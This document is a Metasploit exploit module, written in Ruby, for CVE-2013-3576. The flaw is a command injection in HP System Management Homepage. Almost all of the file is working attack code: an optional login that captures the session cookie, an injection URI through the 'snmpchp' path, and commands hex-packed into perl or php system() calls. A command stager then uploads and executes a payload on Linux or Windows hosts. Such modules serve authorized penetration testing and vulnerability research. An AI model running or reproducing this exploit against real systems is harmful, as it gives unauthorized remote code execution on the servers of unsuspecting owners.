metasploit-framework/modules/exploits/multi/http/hp_sys_mgmt_exec.rb

203 lines
5.5 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStagerVBS
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "HP System Management Homepage JustGetSNMPQueue Command Injection",
'Description' => %q{
This module exploits a vulnerability found in HP System Management Homepage. By
supplying a specially crafted HTTP request, it is possible to control the
'tempfilename' variable in function JustGetSNMPQueue (found in ginkgosnmp.inc),
which will be used in a exec() function.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Markus Wulftange', # Discovery & multi-platform Metasploit module
'sinn3r' # initial Windows Metasploit module
],
'References' =>
[
['CVE', '2013-3576'],
['OSVDB', '94191'],
['US-CERT-VU', '735364']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Platform' => %w{ linux win },
'Targets' =>
[
['Linux', {
'Platform' => 'linux',
'Arch' => ARCH_X86
}],
['Linux (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X86_64
}],
['Windows', {
'Platform' => 'win',
'Arch' => ARCH_X86
}],
['Windows (x64)', {
'Platform' => 'win',
'Arch' => ARCH_X86_64
}],
],
'Privileged' => false,
'DisclosureDate' => "Jun 11 2013"
))
register_options(
[
Opt::RPORT(2381),
# USERNAME/PASS may not be necessary, because the anonymous access is possible
OptString.new("USERNAME", [false, 'The username to authenticate as']),
OptString.new("PASSWORD", [false, 'The password to authenticate with'])
], self.class)
end
def check
@cookie = ''
sig = Rex::Text.rand_text_alpha(10)
cmd = "echo #{sig}&&whoami&&echo #{sig}"
res = send_command(cmd)
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.code == 200 && res.body =~ /#{sig}/
print_good("#{peer} - Running with user '#{res.body.split(sig)[1].strip}'")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
cookie = ''
res = send_request_cgi({
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
'user' => username,
'password' => password
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Connection timed out during login")
end
# CpqElm-Login: success
if res.headers['CpqElm-Login'].to_s =~ /success/
cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || ''
end
cookie
end
def setup_stager
case target.opts['Platform']
when "linux" then opts = { :temp => './', :linemax => 2800 }
when "win" then opts = { :temp => '.', :linemax => 2800 }
end
execute_cmdstager(opts)
end
def execute_command(cmd, opts={})
# Encodes command as sequence of hex values to be passed to the Perl/PHP
# function `pack("N*", ...)` that is then used in a `system(...)` call.
# trailing bytes need to be handled separately
rem = cmd.size % 4
if rem != 0
last_bytes = ".chr(#{cmd[-rem..-1].each_byte.map(&:ord).join(").chr(")})"
cmd = cmd[0...-rem]
end
# convert double words into hex representation
dwords = cmd.each_byte.each_slice(4).map { |dw|
sprintf("0x%x", dw.pack("C*").unpack("N")[0])
}
# build final Perl/PHP code that is getting executed
script_code = "system(pack(chr(78).chr(42),#{dwords.join(",")})#{last_bytes});"
# build Perl/PHP invocation command
case target.opts['Platform']
# Perl for Linux as it's more likely to be in the PATH
when "linux" then cmd = "perl -e '#{script_code}'"
# PHP for Windows
when "win" then cmd = "php -r #{script_code}"
end
res = send_command(cmd)
if res && res.code != 200
vprint_error("Unexpected response:\n#{res}")
fail_with(Failure::Unknown, "There was an unexpected response")
end
end
def send_command(cmd)
if !datastore['USERNAME'].to_s.empty? && !datastore['PASSWORD'].to_s.empty? && @cookie.empty?
@cookie = login
if @cookie.empty?
fail_with(Failure::NoAccess, "#{peer} - Login failed")
else
print_good("#{peer} - Logged in as '#{datastore['USERNAME']}'")
end
end
req_opts = {}
req_opts['uri'] = generate_uri(cmd)
unless @cookie.empty?
browser_chk = 'HPSMH-browser-check=done for this session'
curl_loc = "curlocation-#{datastore['USERNAME']}="
req_opts['cookie'] = "#{@cookie}; #{browser_chk}; #{curl_loc}"
end
send_request_raw(req_opts)
end
def generate_uri(cmd)
"#{normalize_uri("smhutil","snmpchp/")}&#{cmd.gsub(/ /, "%20")}&&echo"
end
def exploit
@cookie = ''
extend Msf::Exploit::CmdStagerBourne if target.opts['Platform'] == "linux"
setup_stager
end
end